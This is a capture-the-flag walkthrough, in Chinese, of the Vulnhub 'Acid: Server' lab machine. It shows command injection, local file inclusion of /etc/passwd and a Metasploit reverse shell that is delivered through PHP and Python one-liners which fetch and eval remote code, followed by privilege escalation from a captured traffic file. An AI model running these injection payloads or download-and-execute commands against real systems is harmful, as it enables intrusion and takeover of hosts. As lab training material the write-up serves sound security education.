1. 查看IP地址
由于不知道靶场的登录密码,所以需要使用其他工具获取IP
这里使用Kali自带的一个工具netdiscover
1 | Usage: netdiscover [-i device] [-r range | -l file | -p] [-m file] [-s time] [-n node] [-c count] [-f] [-d] [-S] [-P] [-c] |
执行
1 | netdiscover -r 192.168.126.0/24 |
查询VMware的Nat模式下的子网
找到了靶机的IP192.168.126.161
2. 扫描靶机端口
使用Nmap扫描靶机端口
1 | nmap -sS -T4 -sV -O -p- 192.168.126.161 |
扫描结果
扫描发现靶机开放端口为33447
访问http://192.168.126.161:33447
3. Web
网页的标题是/Challenge
看起来是目录
先把地址丢到DirBuster里去跑
查看网页源代码,在末尾发现十六进制字符串<!--0x643239334c6d70775a773d3d-->
,解码后发现是base64编码格式d293LmpwZw==
,再经过base64解码发现是一个图片wow.jpg
,尝试在主页访问图片,并没有这个图片
这时,查看DirBuster
发现标题确实是目录名
访问/Challenge
,需要用邮箱和密码登录
继续访问扫描出来的目录,发现cake.php
页面的标题也是目录名/Magic_Box
将目录改为/Challenge/Magic_Box
,继续进行目录扫描
在扫描结果里看到了/images目录,将wow.jpg放在里面打开
使用WinHex打开图片,在末尾发现;37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34
使用BurpSuite自带的Ascii Hex进行解码得到7aee0f6d588ed9905ee37f16a7c610d4
,看起来像MD5加密后的字符串
将字符串丢到MD5解密
获得63425
可能是密码,不过图片这条线就到这里结束了
再回去看DirBuster扫描结果
访问/Challenge/Magic_Box/command.php
是一个可以执行ping
命令的页面,输入Kali的IP地址测试一下
发现页面没有发生变化,查看页面源代码后发现结果在上方空白处
尝试命令执行注入
1 | 192.168.126.126;ls |
存在命令执行注入,可以反弹Shell进一步渗透
3.1 另一种思路
对于cake.php
页面还有另一种获取方法,From:CTF WALKTHROUGH – ACID: SERVER (VULNHUB)
在/Challenge/index.php
页面的源代码中,可以发现<!DOCTYPE gkg.qvpn html>
使用ROT13解密得到txt.dica
,反过来是acid.txt
,访问/Challenge/acid.txt
又获得一个页面protected_page.php
,打开之后发现没有权限访问
再回到/Challenge/index.php
页面的源代码中,可以找到js/forms.js
打开发现在文件中有版权信息
使用Google搜索peredur.net form_js
第一条就是该项目在GitHub上的仓库
进去之后,发现这是一个已经很久没有更新的项目,并且在Readme里写了作者没有时间更新,希望有人接手的信息,这些信息对我们没有什么用。在commits
里查看Readme的更新
在Modified the README.md file
中可以看到初始用户名和密码
1 | Username : test_user |
使用这组密码登录Challenge/index.php
,成功登录
就是之前发现的protected_page.php
页面提示点击这里继续深入
点击之后,发现跳转到了/Challenge/include.php
页面,页面自带本地包含功能,输入/etc/passwd
,页面没有变化,查看源代码可以发现包含成功
可以看到acid
和saman
的用户ID
在源代码的最下面依然存在这一行被注释掉的十六进制字符串<!--0x5933566a4c6e4a34626e413d-->
按照之前的解密方式,解密获得cuc.rxnp
,再经过ROT13解密获得php.ekac
,反过来是cake.php
,后续操作和第一种方法一样
4. 渗透
Challenge/Magic_Box/command.php
页面的标题是Reverse Kunfu
,提示反弹Shell
使用MSF反弹Shell
1 | msf5 > use exploit/multi/script/web_delivery |
PHP
1 | php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.126.126:2626/qNRqp3NMPx'));" |
python
1 | python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.126.126:7777/aSEchhTZ');exec(r.read());" |
在Challenge/Magic_Box/command.php
页面输入
1 | ;python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.126.126:7777/aSEchhTZ');exec(r.read());" |
Kali中MSF获得Shell
查看id
接下来查找敏感信息,看能否提升权限
在根目录下发现一个s.bin
目录,里面有一个investigate.php
的文件,查看其内容
1 | <?php |
查看root,acid,saman的家目录
在acid的家目录加看到一个名为.sudo_as_admin_successful
大小为0的文件,提示普通用户可以切换为root用户
查找acid这个用户的文件来获取他的密码来切换账户
1 | find / -user acid 2>/dev/null |
第一个是hint.pcapng
文件,是一个流量包
使用python搭建Server下载下来进行流量分析
1 | python -m SimpleHTTPServer 12600 |
使用WireShark打开,是一个由6400条记录的流量包
分析TCP协议,可以发现一段明文传输的对话
1 | heya |
找到了saman
用户,以及他的别名1337hax0r
,猜测这可能是他的密码
尝试切换rootsudo su
查找资料发现是ssh连接的原因,使用Kali切换
查看Flag
5. 总结
1.netdiscover使用
2.多看页面源码,注意源码长度
3.查找用户文件find / -user 2>/dev/null
4.MSF反弹Shell模块exploit/multi/script/web_delivery
5.尝试查找初始用户和初始密码
6. 参考
[1] Acid: Server
[2] CTF WALKTHROUGH – ACID: SERVER (VULNHUB)
[2] 2018-09-14-Vulnhub渗透测试实战writeup(1)
[3] Vulnhub Acid